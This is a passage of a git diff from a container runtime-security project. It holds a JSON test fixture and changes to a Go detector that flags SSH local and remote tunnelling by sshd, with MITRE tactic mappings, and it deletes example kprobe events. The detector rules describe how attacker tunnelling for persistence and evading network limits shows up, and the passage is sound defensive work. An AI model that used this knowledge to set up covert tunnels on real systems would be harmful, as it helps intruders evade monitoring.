"DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1230859, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + } + }, + "node_name": "test-k8s-cluster", + "time": "2024-04-05T14:47:50.982165341Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SSH_TUNNEL_CREATE", + "severity": "MEDIUM", + "reason_contains": "SSH tunnel", + "tactics": [ + "TA0001", + "TA0003", + "TA0008", + "TA0011" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/main.go b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/main.go index 04855692..51f7bfa0 100644 --- a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/main.go +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/main.go @@ -14,14 +14,15 @@ import ( const ( ID = "CS_RT_SSH_TUNNEL_USE" Name = "Use of SSH tunnel" - Description = "The detector detects network activity related to network tunneling of a local SSH service." + Description = "The detector detects network activity related to network tunneling of a local SSH service. The activity may indicate that an attacker tried to achieve persistence on the system, bypass existing network restrictions, or hide their activity." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) const ( - sshdPort = 22 + KprobeLocal = "Detected a connection to a host with IP address `%s` and port `%d` initiated by the SSH server `%s`, which was started using the `%s` arguments. This may indicate that a local tunnel was used." + KprobeRemote = "Detected that port `%d` was listened to by the SSH server `%s`, which was started using the `%s` arguments. This may indicate that a remote tunnel was used." ) var ( @@ -41,12 +42,46 @@ var ( // "PROCESS_EXEC": {"*"}, } ) + +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1133", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1133", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1021.004", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1572", + }, + }, + } +) + +const ( + sshdPort = 22 +) + var ( sshdBin = glob.MustCompile("*/sshd") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -54,12 +89,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -94,6 +130,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() if !sshdBin.Match(binary) { @@ -103,6 +140,11 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe switch function { // If sshd process is trying to connect to some host, than someone is using a ssh-tunnel created via local forwarding case "tcp_connect": + resp.TacticsCovered = mitreTactics + args := kprobe.GetArgs() + dstIp := args[0].GetSockArg().GetDaddr() + dstPort := args[0].GetSockArg().GetDport() + resp.Reason = fmt.Sprintf(KprobeLocal, dstIp, dstPort, binary, binaryArgs) resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -119,6 +161,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe sport := socket.GetSport() if sport != sshdPort { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeRemote, sport, binary, binaryArgs) resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -133,973 +177,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -LOCAL FORWARDING - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDQyMDU5MjE0Njg1ODM6MTU2ODY2Ng==", - "pid": 1568666, - "uid": 0, - "cwd": "/", - "binary": "/usr/sbin/sshd", - "arguments": "-D -e -f /etc/ssh/sshd_config -R", - "flags": "execve rootcwd clone", - "start_time": "2024-07-04T14:22:21.567678504Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "openssh-server", - "container": { - "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", - "name": "openssh-server", - "image": { - "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", - "name": "docker.io/panubo/sshd:latest" - }, - "start_time": "2024-07-04T14:12:58Z", - "pid": 68, - "maybe_exec_probe": false - }, - "pod_labels": { - "app": "sshd" - }, - "workload": "openssh-server", - "workload_kind": "Pod" - }, - "docker": "d665767d27511008a0c12fae494594e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", - "refcnt": 2, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026533570, - "is_host": false - }, - "ipc": { - "inum": 4026533571, - "is_host": false - }, - "mnt": { - "inum": 4026533964, - "is_host": false - }, - "pid": { - "inum": 4026533965, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533965, - "is_host": false - }, - "net": { - "inum": 4026533572, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1568666, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", - "pid": 1560451, - "uid": 0, - "cwd": "/", - "binary": "/usr/sbin/sshd", - "arguments": "-D -e -f /etc/ssh/sshd_config", - "flags": "execve rootcwd clone", - "start_time": "2024-07-04T14:13:04.123618324Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "openssh-server", - "container": { - "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", - "name": "openssh-server", - "image": { - "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", - "name": "docker.io/panubo/sshd:latest" - }, - "start_time": "2024-07-04T14:12:58Z", - "pid": 42, - "maybe_exec_probe": false - }, - "pod_labels": { - "app": "sshd" - }, - "workload": "openssh-server", - "workload_kind": "Pod" - }, - "docker": "d665767d27511008a0c12fae494594e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDI2NjM0OTk3MDk6MTU2MDMxMA==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026533570, - "is_host": false - }, - "ipc": { - "inum": 4026533571, - "is_host": false - }, - "mnt": { - "inum": 4026533964, - "is_host": false - }, - "pid": { - "inum": 4026533965, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533965, - "is_host": false - }, - "net": { - "inum": 4026533572, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1560451, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "tcp_connect", - "args": [ - { - "sock_arg": { - "family": "AF_INET", - "type": "SOCK_STREAM", - "protocol": "IPPROTO_TCP", - "mark": 0, - "priority": 0, - "saddr": "10.244.0.245", - "daddr": "10.244.0.232", - "sport": 38854, - "dport": 8080, - "cookie": "18446618302131282688", - "state": "TCP_SYN_SENT" - }, - "label": "" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "connect", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-07-04T14:24:52.461134895Z", - "aggregation_info": null -} - -REMOTE FORWARDING -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDQ2MzcxOTI0NzY0MDM6MTU3MjkzOA==", - "pid": 1572938, - "uid": 0, - "cwd": "/", - "binary": "/usr/sbin/sshd", - "arguments": "-D -e -f /etc/ssh/sshd_config -R", - "flags": "execve rootcwd clone", - "start_time": "2024-07-04T14:29:32.838686118Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "openssh-server", - "container": { - "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", - "name": "openssh-server", - "image": { - "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", - "name": "docker.io/panubo/sshd:latest" - }, - "start_time": "2024-07-04T14:12:58Z", - "pid": 80, - "maybe_exec_probe": false - }, - "pod_labels": { - "app": "sshd" - }, - "workload": "openssh-server", - "workload_kind": "Pod" - }, - "docker": "d665767d27511008a0c12fae494594e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026533570, - "is_host": false - }, - "ipc": { - "inum": 4026533571, - "is_host": false - }, - "mnt": { - "inum": 4026533964, - "is_host": false - }, - "pid": { - "inum": 4026533965, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533965, - "is_host": false - }, - "net": { - "inum": 4026533572, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1572938, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", - "pid": 1560451, - "uid": 0, - "cwd": "/", - "binary": "/usr/sbin/sshd", - "arguments": "-D -e -f /etc/ssh/sshd_config", - "flags": "execve rootcwd clone", - "start_time": "2024-07-04T14:13:04.123618324Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "openssh-server", - "container": { - "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", - "name": "openssh-server", - "image": { - "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", - "name": "docker.io/panubo/sshd:latest" - }, - "start_time": "2024-07-04T14:12:58Z", - "pid": 42, - "maybe_exec_probe": false - }, - "pod_labels": { - "app": "sshd" - }, - "workload": "openssh-server", - "workload_kind": "Pod" - }, - "docker": "d665767d27511008a0c12fae494594e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDI2NjM0OTk3MDk6MTU2MDMxMA==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026533570, - "is_host": false - }, - "ipc": { - "inum": 4026533571, - "is_host": false - }, - "mnt": { - "inum": 4026533964, - "is_host": false - }, - "pid": { - "inum": 4026533965, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533965, - "is_host": false - }, - "net": { - "inum": 4026533572, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1560451, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "inet_csk_listen_start", - "args": [ - { - "sock_arg": { - "family": "AF_INET", - "type": "SOCK_STREAM", - "protocol": "IPPROTO_TCP", - "mark": 0, - "priority": 0, - "saddr": "0.0.0.0", - "daddr": "0.0.0.0", - "sport": 58000, - "dport": 0, - "cookie": "18446618298011991360", - "state": "TCP_CLOSE" - }, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "network-socket", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-07-04T14:29:35.351080886Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git 